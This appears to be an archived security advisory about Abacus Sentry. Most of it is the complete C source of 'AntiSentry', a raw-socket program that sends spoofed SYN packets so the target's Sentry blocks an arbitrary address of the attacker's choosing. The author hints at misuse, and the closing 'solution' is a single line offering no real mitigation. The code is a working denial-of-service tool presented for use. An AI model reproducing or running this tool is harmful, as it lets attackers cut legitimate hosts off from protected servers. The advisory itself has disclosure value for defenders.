COMMAND

    Sentry (Abacus)

SYSTEMS AFFECTED

    Systems running above

PROBLEM

    Paul  Boehm  posted   following.   He   took  kill_identd.c   from
    rootshell.com  and  modified  it  a  bit  to  use it as DoS attack
    against  servers  running  abacus  sentry...  it simply does a few
    spoofed  tcp  connections  on  the  target  host  so it denies the
    source...  nothing revolutionary, but.. here it is:

    /*
       AntiSentry v0.0b by infected <infected@cia.at>
         based on kill_inetd.c by ???(found no credits)

       makes  the  abacus   sentry  program  running   on  'target'   drop
       route/ipfwadm deny (to) the  source address... think for  your self
       of what use this could be..
    */

    #include <sys/types.h>
    #include <sys/time.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>
    #include <stdio.h>


    #define NPROBES 1

    #define SEQ 0x28374839

    unsigned short
    ip_sum (addr, len)
         u_short *addr;
         int len;
    {
      register int nleft = len;
      register u_short *w = addr;
      register int sum = 0;
      u_short answer = 0;

      /*
       * Our algorithm is simple, using a 32 bit accumulator (sum), we add
       * sequential 16 bit words to it, and at the end, fold back all the
       * carry bits from the top 16 bits into the lower 16 bits.
       */
      while (nleft > 1)
        {
          sum += *w++;
          nleft -= 2;
        }

      /* mop up an odd byte, if necessary */
      if (nleft == 1)
        {
          *(u_char *) (&answer) = *(u_char *) w;
          sum += answer;
        }

      /* add back carry outs from top 16 bits to low 16 bits */
      sum = (sum >> 16) + (sum & 0xffff);   /* add hi 16 to low 16 */
      sum += (sum >> 16);           /* add carry */
      answer = ~sum;                /* truncate to 16 bits */
      return (answer);
    }


    int sock, ssock;

    void send_tcp_segment(struct iphdr *ih, struct tcphdr *th, char *data, int dlen) {
      char buf[65536];
      struct {  /* rfc 793 tcp pseudo-header */
        unsigned long saddr, daddr;
        char mbz;
        char ptcl;
        unsigned short tcpl;
      } ph;

      struct sockaddr_in sin;/* how necessary is this? */

      ph.saddr=ih->saddr;
      ph.daddr=ih->daddr;
      ph.mbz=0;
      ph.ptcl=IPPROTO_TCP;
      ph.tcpl=htons(sizeof(*th)+dlen);
      memcpy(buf, &ph, sizeof(ph));
      memcpy(buf+sizeof(ph), th, sizeof(*th));
      memcpy(buf+sizeof(ph)+sizeof(*th), data, dlen);
      memset(buf+sizeof(ph)+sizeof(*th)+dlen, 0, 4);
      th->check=ip_sum(buf, (sizeof(ph)+sizeof(*th)+dlen+1)&~1);

      memcpy(buf, ih, 4*ih->ihl);
      memcpy(buf+4*ih->ihl, th, sizeof(*th));
      memcpy(buf+4*ih->ihl+sizeof(*th), data, dlen);
      memset(buf+4*ih->ihl+sizeof(*th)+dlen, 0, 4);

      ih->check=ip_sum(buf, (4*ih->ihl + sizeof(*th)+ dlen + 1) & ~1);
      memcpy(buf, ih, 4*ih->ihl);

      sin.sin_family=AF_INET;
      sin.sin_port=th->dest;
      sin.sin_addr.s_addr=ih->daddr;

      if(sendto(ssock, buf, 4*ih->ihl + sizeof(*th)+ dlen, 0,
     &sin, sizeof(sin))<0) {
        perror("sendto");
        exit(1);
      }
    }


    probe_seq(unsigned long my_ip, unsigned long their_ip, unsigned short port) {
      int i;
      struct iphdr ih;
      struct tcphdr th;
      char buf[1024];

      ih.version=4;
      ih.ihl=5;
      ih.tos=0;/* XXX is this normal? */
      ih.tot_len=sizeof(ih)+sizeof(th);
      ih.id=htons(6969);
      ih.frag_off=0;
      ih.ttl=30;
      ih.protocol=IPPROTO_TCP;
      ih.check=0;
      ih.saddr=my_ip;
      ih.daddr=their_ip;

      th.source=htons(9999);
      th.dest=htons(port);
      th.seq=htonl(SEQ+i);
      th.ack_seq=0;
      th.res1=0;
      th.doff=sizeof(th)/4;
      th.fin=0;
      th.syn=1;
      th.rst=0;
      th.psh=0;
      th.ack=0;
      th.urg=0;
      th.res2=0;
      th.window=htons(512);
      th.check=0;
      th.urg_ptr=0;

      send_tcp_segment(&ih, &th, &ih, 0);

    }

    unsigned long getaddr(char *name) {
      struct hostent *hep;

      hep=gethostbyname(name);
        if(!hep) {
          fprintf(stderr, "Unknown host %s\n", name);
          exit(1);
        }
      return *(unsigned long *)hep->h_addr;
    }


    main(int argc, char **argv) {
      unsigned long me=inet_addr("127.0.0.1"), victim=inet_addr("127.0.0.1");
      int port=259, i=0, max=10;
      struct hostent *hep;
      printf("AntiSentry v0.0b by infected <infected@cia.at>\n");
      if(argc<3) {
        printf("\nUsage: %s dst src [port=%d] [num=%d]\n", argv[0], port, max);
        exit(1);
      }

      if(argc>=2)
        victim=getaddr(argv[1]);

      if(argc>=3)
        me=getaddr(argv[2]);

      if(argc>=4)
        port=atoi(argv[3]);

      if(argc>=5)
        max=atoi(argv[4]);

      printf("Src: %s\n",inet_ntoa(me));
      printf("Dst: %s\n",inet_ntoa(victim));
      printf("Prt: %d\n",port);
      printf("Num: %d\n\n",max);
      ssock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
      if(sock<0) {
        perror("socket (raw)");
        exit(1);
      }
      for (i=0; i < max; i++) {
      printf("bEEp\007 ");
      port++;  // Comment this out if you want all connections on the same port.
      probe_seq(me, victim, port);
      }
      printf("\n");
    }

SOLUTION

    I guess sentry will pass good code inspection and have update.